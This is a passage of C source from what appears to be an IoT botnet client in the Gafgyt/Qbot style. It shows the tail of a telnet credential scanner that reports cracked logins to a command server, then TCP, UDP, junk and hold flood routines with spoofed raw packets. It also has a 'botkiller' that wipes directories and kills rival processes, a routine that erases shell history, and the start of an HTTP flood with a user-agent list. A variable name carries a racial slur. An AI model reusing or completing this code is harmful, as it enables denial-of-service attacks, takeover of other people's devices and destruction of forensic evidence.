  1914. HackerPrint(mainCommSock, "\x1b[0;31mTelnet Device Connecting: \x1b[0;33m%s | \x1b[0;31mUsername: \x1b[0;33m%s | \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1915. HackerPrint(mainCommSock, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1916. fds[i].state = 7; }
  1917. } else {
  1918. fds[i].state = 0;
  1919. fds[i].complete = 1;
  1920. } continue; }
  1921. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1922. fds[i].state = 0;
  1923. fds[i].complete = 1;
  1924. }
  1925. }
  1926. break;
  1927. case 7:
  1928. {
  1929. fds[i].totalTimeout = time(NULL);
  1930. if(send(fds[i].fd, hvgsgd, strlen(hvgsgd), MSG_NOSIGNAL) < 0) {
  1931. sclose(fds[i].fd);
  1932. fds[i].state = 0;
  1933. fds[i].complete = 1;
  1934. continue; }
  1935. fds[i].complete = 3;
  1936. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1937. if(fds[i].complete !=3){
  1938. }
  1939. fds[i].state = 0;
  1940. fds[i].complete = 1;
  1941. }
  1942. break;
  1943. }
  1944. }
  1945. }
  1946. }
  1947. }
  1948.  
  1949. //Sends Junk Flood
  1950. void sendJUNK(unsigned char *ip, int port, int end_time)
  1951. {
  1952.  
  1953.         int max = getdtablesize() / 2, i;
  1954.  
  1955.         struct sockaddr_in dest_addr;
  1956.         dest_addr.sin_family = AF_INET;
  1957.         dest_addr.sin_port = htons(port);
  1958.         if(getHost(ip, &dest_addr.sin_addr)) return;
  1959.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1960.  
  1961.         struct state_t
  1962.         {
  1963.                 int fd;
  1964.                 uint8_t state;
  1965.         } fds[max];
  1966.         memset(fds, 0, max * (sizeof(int) + 1));
  1967.  
  1968.         fd_set myset;
  1969.         struct timeval tv;
  1970.         socklen_t lon;
  1971.         int valopt, res;
  1972.  
  1973.         unsigned char *watwat = malloc(1024);
  1974.         memset(watwat, 0, 1024);
  1975.  
  1976.         int end = time(NULL) + end_time;
  1977.         while(end > time(NULL))
  1978.         {
  1979.                 for(i = 0; i < max; i++)
  1980.                 {
  1981.                         switch(fds[i].state)
  1982.                         {
  1983.                         case 0:
  1984.                                 {
  1985.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1986.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1987.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1988.                                         else fds[i].state = 1;
  1989.                                 }
  1990.                                 break;
  1991.  
  1992.                         case 1:
  1993.                                 {
  1994.                                         FD_ZERO(&myset);
  1995.                                         FD_SET(fds[i].fd, &myset);
  1996.                                         tv.tv_sec = 0;
  1997.                                         tv.tv_usec = 10000;
  1998.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1999.                                         if(res == 1)
  2000.                                         {
  2001.                                                 lon = sizeof(int);
  2002.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2003.                                                 if(valopt)
  2004.                                                 {
  2005.                                                         close(fds[i].fd);
  2006.                                                         fds[i].state = 0;
  2007.                                                 } else {
  2008.                                                         fds[i].state = 2;
  2009.                                                 }
  2010.                                         } else if(res == -1)
  2011.                                         {
  2012.                                                 close(fds[i].fd);
  2013.                                                 fds[i].state = 0;
  2014.                                         }
  2015.                                 }
  2016.                                 break;
  2017.  
  2018.                         case 2:
  2019.                                 {
  2020.                                         makeRandomStr(watwat, 1024);
  2021.                                         if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2022.                                         {
  2023.                                                 close(fds[i].fd);
  2024.                                                 fds[i].state = 0;
  2025.                                         }
  2026.                                 }
  2027.                                 break;
  2028.                         }
  2029.                 }
  2030.         }
  2031. }
  2032.  
  2033. //Sends HOLD Flood
  2034. void sendHOLD(unsigned char *ip, int port, int end_time)
  2035. {
  2036. int max = getdtablesize() / 2, i;
  2037. struct sockaddr_in dest_addr;
  2038. dest_addr.sin_family = AF_INET;
  2039. dest_addr.sin_port = htons(port);
  2040. if(getHost(ip, &dest_addr.sin_addr)) return;
  2041. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2042. struct state_t
  2043. {
  2044. int fd;
  2045. uint8_t state;
  2046. } fds[max];
  2047. memset(fds, 0, max * (sizeof(int) + 1));
  2048. fd_set myset;
  2049. struct timeval tv;
  2050. socklen_t lon;
  2051. int valopt, res;
  2052. unsigned char *watwat = malloc(1024);
  2053. memset(watwat, 0, 1024);
  2054. int end = time(NULL) + end_time;
  2055. while(end > time(NULL))
  2056. {
  2057. for(i = 0; i < max; i++)
  2058. {
  2059. switch(fds[i].state)
  2060. {
  2061. case 0:
  2062. {
  2063. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2064. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2065. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2066. else fds[i].state = 1;
  2067. }
  2068. break;
  2069. case 1:
  2070. {
  2071. FD_ZERO(&myset);
  2072. FD_SET(fds[i].fd, &myset);
  2073. tv.tv_sec = 0;
  2074. tv.tv_usec = 10000;
  2075. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2076. if(res == 1)
  2077. {
  2078. lon = sizeof(int);
  2079. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2080. if(valopt)
  2081. {
  2082. close(fds[i].fd);
  2083. fds[i].state = 0;
  2084. } else {
  2085. fds[i].state = 2;
  2086. }
  2087. } else if(res == -1)
  2088. {
  2089. close(fds[i].fd);
  2090. fds[i].state = 0;
  2091. }
  2092. }
  2093. break;
  2094. case 2:
  2095. {
  2096. FD_ZERO(&myset);
  2097. FD_SET(fds[i].fd, &myset);
  2098. tv.tv_sec = 0;
  2099. tv.tv_usec = 10000;
  2100. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2101. if(res != 0)
  2102. {
  2103. close(fds[i].fd);
  2104. fds[i].state = 0;
  2105. }
  2106. }
  2107. break;
  2108. }
  2109. }
  2110. }
  2111. }
  2112.  
  2113. void sendSTD(unsigned char *ip, int port, int secs) {
  2114.  
  2115. int iSTD_Sock;
  2116.  
  2117. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  2118.  
  2119. time_t start = time(NULL);
  2120.  
  2121. struct sockaddr_in sin;
  2122.  
  2123. struct hostent *hp;
  2124.  
  2125. hp = gethostbyname(ip);
  2126.  
  2127. bzero((char*) &sin,sizeof(sin));
  2128. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  2129. sin.sin_family = hp->h_addrtype;
  2130. sin.sin_port = port;
  2131.  
  2132. unsigned int a = 0;
  2133.  
  2134. while(1){
  2135. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "lsk", "kek", "smack", "ily", "tyf", "pos", "cunts"};
  2136. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  2137. if (a >= 50)
  2138. {
  2139. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  2140. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  2141. if (time(NULL) >= start + secs)
  2142. {
  2143. close(iSTD_Sock);
  2144. _exit(0);
  2145. }
  2146. a = 0;
  2147. }
  2148. a++;
  2149. }
  2150. }
  2151.  
  2152. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
  2153. {
  2154. struct sockaddr_in dest_addr;
  2155.  
  2156. dest_addr.sin_family = AF_INET;
  2157. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2158. else dest_addr.sin_port = htons(port);
  2159. if(getHost(target, &dest_addr.sin_addr)) return;
  2160. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2161.  
  2162. register unsigned int pollRegister;
  2163. pollRegister = pollinterval;
  2164.  
  2165. if(spoofit == 32)
  2166. {
  2167. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  2168. if(!sockfd)
  2169. {
  2170. sockprintf(mainCommSock, "Failed opening raw socket.");
  2171. return;
  2172. }
  2173.  
  2174. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2175. if(buf == NULL) return;
  2176. memset(buf, 0, packetsize + 1);
  2177. makeRandomStr(buf, packetsize);
  2178.  
  2179. int end = time(NULL) + timeEnd;
  2180. register unsigned int i = 0;
  2181. register unsigned int ii = 0;
  2182. while(1)
  2183. {
  2184. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2185.  
  2186. if(i == pollRegister)
  2187. {
  2188. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2189. if(time(NULL) > end) break;
  2190. i = 0;
  2191. continue;
  2192. }
  2193. i++;
  2194. if(ii == sleepcheck)
  2195. {
  2196. usleep(sleeptime*1000);
  2197. ii = 0;
  2198. continue;
  2199. }
  2200. ii++;
  2201. }
  2202. } else {
  2203. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2204. if(!sockfd)
  2205. {
  2206. sockprintf(mainCommSock, "Failed opening raw socket.");
  2207. return;
  2208. }
  2209.  
  2210. int tmp = 1;
  2211. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2212. {
  2213. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  2214. return;
  2215. }
  2216.  
  2217. int counter = 50;
  2218. while(counter--)
  2219. {
  2220. srand(time(NULL) ^ rand_cmwc());
  2221. init_rand(rand());
  2222. }
  2223.  
  2224. in_addr_t netmask;
  2225.  
  2226. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2227. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2228.  
  2229. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2230. struct iphdr *iph = (struct iphdr *)packet;
  2231. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2232.  
  2233. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2234.  
  2235. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2236. udph->source = rand_cmwc();
  2237. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2238. udph->check = 0;
  2239.  
  2240. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2241.  
  2242. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2243.  
  2244. int end = time(NULL) + timeEnd;
  2245. register unsigned int i = 0;
  2246. register unsigned int ii = 0;
  2247. while(1)
  2248. {
  2249. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2250.  
  2251. udph->source = rand_cmwc();
  2252. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2253. iph->id = rand_cmwc();
  2254. iph->saddr = htonl( GetRandomIP(netmask) );
  2255. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2256.  
  2257. if(i == pollRegister)
  2258. {
  2259. if(time(NULL) > end) break;
  2260. i = 0;
  2261. continue;
  2262. }
  2263. i++;
  2264.  
  2265. if(ii == sleepcheck)
  2266. {
  2267. usleep(sleeptime*1000);
  2268. ii = 0;
  2269. continue;
  2270. }
  2271. ii++;
  2272. }
  2273. }
  2274. }
  2275.  
  2276. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2277. {
  2278. register unsigned int pollRegister;
  2279. pollRegister = pollinterval;
  2280.  
  2281. struct sockaddr_in dest_addr;
  2282.  
  2283. dest_addr.sin_family = AF_INET;
  2284. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2285. else dest_addr.sin_port = htons(port);
  2286. if(getHost(target, &dest_addr.sin_addr)) return;
  2287. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2288.  
  2289. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2290. if(!sockfd)
  2291. {
  2292. sockprintf(mainCommSock, "Failed opening raw socket.");
  2293. return;
  2294. }
  2295.  
  2296. int tmp = 1;
  2297. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2298. {
  2299. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  2300. return;
  2301. }
  2302.  
  2303. in_addr_t netmask;
  2304.  
  2305. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2306. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2307.  
  2308. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2309. struct iphdr *iph = (struct iphdr *)packet;
  2310. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2311.  
  2312. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2313.  
  2314. tcph->source = rand_cmwc();
  2315. tcph->seq = rand_cmwc();
  2316. tcph->ack_seq = 0;
  2317. tcph->doff = 5;
  2318.  
  2319. if(!strcmp(flags, "all"))
  2320. {
  2321. tcph->syn = 1;
  2322. tcph->rst = 1;
  2323. tcph->fin = 1;
  2324. tcph->ack = 1;
  2325. tcph->psh = 1;
  2326. } else {
  2327. unsigned char *pch = strtok(flags, ",");
  2328. while(pch)
  2329. {
  2330. if(!strcmp(pch, "syn"))
  2331. {
  2332. tcph->syn = 1;
  2333. } else if(!strcmp(pch, "rst"))
  2334. {
  2335. tcph->rst = 1;
  2336. } else if(!strcmp(pch, "fin"))
  2337. {
  2338. tcph->fin = 1;
  2339. } else if(!strcmp(pch, "ack"))
  2340. {
  2341. tcph->ack = 1;
  2342. } else if(!strcmp(pch, "psh"))
  2343. {
  2344. tcph->psh = 1;
  2345. } else {
  2346. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  2347. }
  2348. pch = strtok(NULL, ",");
  2349. }
  2350. }
  2351.  
  2352. tcph->window = rand_cmwc();
  2353. tcph->check = 0;
  2354. tcph->urg_ptr = 0;
  2355. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2356. tcph->check = tcpcsum(iph, tcph);
  2357.  
  2358. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2359.  
  2360. int end = time(NULL) + timeEnd;
  2361. register unsigned int i = 0;
  2362. while(1)
  2363. {
  2364. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2365.  
  2366. iph->saddr = htonl( GetRandomIP(netmask) );
  2367. iph->id = rand_cmwc();
  2368. tcph->seq = rand_cmwc();
  2369. tcph->source = rand_cmwc();
  2370. tcph->check = 0;
  2371. tcph->check = tcpcsum(iph, tcph);
  2372. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2373.  
  2374. if(i == pollRegister)
  2375. {
  2376. if(time(NULL) > end) break;
  2377. i = 0;
  2378. continue;
  2379. }
  2380. i++;
  2381. }
  2382. }
  2383.  
  2384. void botkiller(){
  2385. char* Niggerdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};//wtf are we doing here well these are the directory
  2386. char* Boats[] = {"wget", "armv*", "bot*", "ntpd*", "hackz*", "shitty*","jack*", "mips*", "sex*", "i86", "ssh*", "sh4*", "jackmeoff*", "tftp*", "i56", "mips", "mipsel", "sh4", "x86", "i686", "ppc", "i586", "i586"};
  2387. const char *bots[] = {"jackmy*", "busybox*", "bin*", "sex*", "tftp*", "arm*", "mipsel*", "mips*", "mips64*", "i686*","sparc*", "sh4*", "bot*", "jackmeoff*", "hackz*", "bruv*"};
  2388. char hacker[80];
  2389. char botkill[80];
  2390. char buf[128];
  2391. int i, num_tmps, j;
  2392. for(j = 0; j < num_tmps; j++)
  2393. {
  2394. memset(buf, 0, 128);
  2395. if(j == 0)
  2396. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], bots[j]);
  2397. else
  2398. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j]);
  2399. system(buf);
  2400. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  2401. system(botkill);
  2402. return;
  2403. }
  2404. sleep(5);
  2405. }
  2406.  
  2407. void ClearHistory()
  2408. {
  2409. system("history -c;history -w");
  2410. system("cd /root;rm -rf .bash_history");
  2411. system("cd /var/tmp; rm -f *");
  2412. }
  2413.  
  2414. // HTTP Flood
  2415. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  2416. const char *useragents[] = {
  2417. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2418. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2419. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2420. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2421. "Opera/6.04 (Windows XP; U) [en]",
  2422. "Opera/9.99 (X11; U; sk)",
  2423. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2424. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2425. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2426. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2427. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2428. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2429. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2430. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2431. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2432. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2433. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2434. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2435. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2436. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2437. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2438. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2439. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  2440. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2441. "wii libnup/1.0",
  2442. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  2443. "PSP (PlayStation Portable); 2.00",
  2444. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2445. "Doris/1.15 [en] (Symbian)",
  2446. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2447. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  2448. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2449. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  2450. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  2451. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  2452. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2453. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  2454. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  2455. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  2456. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  2457. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2458. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2459. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  2460. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2461. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  2462. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  2463. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  2464. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2465. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2466. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2467. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2468. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2469. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2470. "Opera/6.04 (Windows XP; U) [en]",
  2471. "Opera/9.99 (X11; U; sk)",
  2472. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2473. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2474. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2475. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2476. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2477. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2478. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2479. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2480. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2481. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 "
  2482. "Firefox/3.5.3",
  2483. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 "
  2484. "Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2485. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) "
  2486. "Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2487. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) "
  2488. "Gecko/20090718 Firefox/3.5.1",
  2489. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 "
  2490. "(KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  2491. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; "
  2492. "SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  2493. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; "
  2494. ".NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR "
  2495. "3.0.30729)",
  2496. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; "
  2497. "Trident/4.0)",
  2498. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; "
  2499. ".NET CLR 2.0.50727; InfoPath.2)",
  2500. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  2501. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2502. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2503. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) "
  2504. "Chrome/41.0.2228.0 Safari/537.36",
  2505. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2506. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 "
  2507. "Version/12.16",
  2508. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like "
  2509. "Gecko",
  2510. "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) "
  2511. "like Gecko",
  2512. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 "
  2513. "(KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
  2514. "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
  2515. "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  2516. "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  2517. "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/",
  2518. "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  2519. "zspider/0.9-dev http://feedback.redkolibri.com/",
  2520. "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2521. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2522. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  2523. "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2524. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2525. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  2526. "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  2527. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
